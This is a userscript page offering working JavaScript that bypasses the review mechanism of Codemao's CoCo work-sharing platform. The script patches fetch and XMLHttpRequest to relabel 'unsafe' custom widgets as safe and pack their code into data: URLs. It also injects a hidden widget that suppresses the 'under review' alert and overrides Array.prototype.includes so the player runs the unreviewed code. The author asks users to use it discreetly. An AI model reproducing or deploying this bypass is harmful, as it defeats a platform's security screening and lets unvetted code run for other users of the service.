CoCo 作品分享审核绕过

绕过 CoCo 作品分享的审核机制,让他人可以看到你分享的作品,请低调使用

Verze ze dne 24. 02. 2024. Zobrazit nejnovější verzi.

// ==UserScript==
// @name         CoCo 作品分享审核绕过
// @namespace    https://slightning.tk/
// @version      0.1.3
// @description  绕过 CoCo 作品分享的审核机制,让他人可以看到你分享的作品,请低调使用
// @author       SLIGHTNING
// @match        http://coco.codemao.cn/editor/*
// @match        https://coco.codemao.cn/editor/*
// @icon         https://coco.codemao.cn/favicon.ico
// @grant        none
// @license      GPL
// ==/UserScript==

(function() {
    'use strict';

    function modifyWork(work) {
        var unsafeList = work.unsafeExtensionWidgetList,
            safeList = work.extensionWidgetList
        moveUnsafeToSafe(unsafeList, safeList)
    }

    function moveUnsafeToSafe(unsafeList, safeList) {
        var safeMap = {}
        safeList.forEach(safe => {
            safeMap[safe.type] = safe
        })
        var unsafe
        while (unsafe = unsafeList.shift()) {
            var sefe,
                cdnUrl = `data:text/plain;charset=UTF-8,${encodeURIComponent(unsafe.code)}//`,
                {type} = unsafe
            if (safe = safeMap[type]) {
                safe.cdnUrl = cdnUrl
            } else {
                var safe = {
                    id: Math.floor(Math.random() * 10000) + 10000,
                    type: type,
                    cdnUrl: cdnUrl
                }
                safeList.push(safe)
            }
        }
    }

    var originalFetch = fetch
    fetch = async function(input, init) {
        var response = await originalFetch(input, init)
        if (input.startsWith("https://creation.codemao.cn/716/appcraft/JSON") &&
            response.ok) {
            var responseToModify = response.clone()
            var work = JSON.parse((await responseToModify.text()).replaceAll("UNSAFE_EXTENSION_", "EXTENSION_"))
            if (!work.blockCode) {
                modifyWork(work)
            }
            var modifiedResponse = new Response(JSON.stringify(work), {
                ...response
            })
            return modifiedResponse
        } else {
            return response
        }
    }

    async function modifyReleaseFile(file) {
        file.extensionWidgetList.push({
            id: 0,
            type: "EXTENSION_SLIGHTNING_BYPASS_AUDIT",
            cdnUrl:
                "data:text/plain;charset=UTF-8," +
                encodeURIComponent(`
                    new Function(\`(\${(async () => {
                        "use strict";
                        if (!window.SLIGHTNING_BYPASS_AUDIT_STOP) {
                            window.SLIGHTNING_BYPASS_AUDIT_STOP = true

                            var originalAlert = alert
                            alert = function(message) {
                                if (message == "作品审核中,请稍后再试") {
                                    console.log(message)
                                    throw new Error("阻断 Player 检查自定义控件")
                                } else {
                                    originalAlert.apply(this, arguments)
                                }
                            }
                    
                            var iframe = document.createElement("iframe")
                            iframe.src = location.href
                            var {style} = iframe
                            style.border = "none"
                            style.position = "fixed"
                            style.left = "0px"
                            style.top = "0px"
                            style.width = "100%"
                            style.height = "100%"
                            document.body.append(iframe)
                            var {contentWindow} = iframe
                            contentWindow.SLIGHTNING_BYPASS_AUDIT_STOP = true
                    
                            var originalIncludes = contentWindow.Array.prototype.includes
                            contentWindow.Array.prototype.includes = function(string) {
                                if (typeof string == "string" && string.startsWith("data:text/plain;charset=UTF-8,")) {
                                    return true
                                }
                                return originalIncludes.apply(this, arguments)
                            }
                        }
                    }).toString()})()\`)()
                    const types = {
                        type: "SLIGHTNING_BYPASS_AUDIT",
                        title: "审核绕过",
                        icon: "",
                        isInvisibleWidget: true,
                        isGlobalWidget: true,
                        properties: [],
                        methods: [],
                        events: []
                    }
                    class Widget extends InvisibleWidget {
                        constructor(props) {
                            super(props)
                        }
                    }
                    exports.types = types
                    exports.widget = Widget
                //`)
        })
        delete file.blockJsonMap
    }

    var originalSend = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.send = function(data) {
        if (data instanceof FormData) {
            var fileName = data.get("fname"),
                originalFile = data.get("file")
            if (fileName == "test.json") {
                var xhr = this,
                    xhrArguments = arguments
                var reader = new FileReader()
                reader.readAsText(originalFile)
                reader.onload = async function() {
                    try {
                        var fileContent = JSON.parse(this.result.replaceAll("UNSAFE_EXTENSION_", "EXTENSION_"))
                        await modifyReleaseFile(fileContent)
                        var blob = new Blob([JSON.stringify(fileContent)], { type: "text/plain" })
                        var file = new File([blob], originalFile.name, { type: originalFile.type })
                        data.set("file", file)
                    } catch (error) {
                        console.error(error)
                        alert(`绕过审核失败:${error.message}`)
                    }
                    originalSend.apply(xhr, xhrArguments)
                }
            } else {
                originalSend.apply(this, arguments)
            }
        } else {
            originalSend.apply(this, arguments)
        }
    }
})()
长期地址
遇到问题?请前往 GitHub 提 Issues。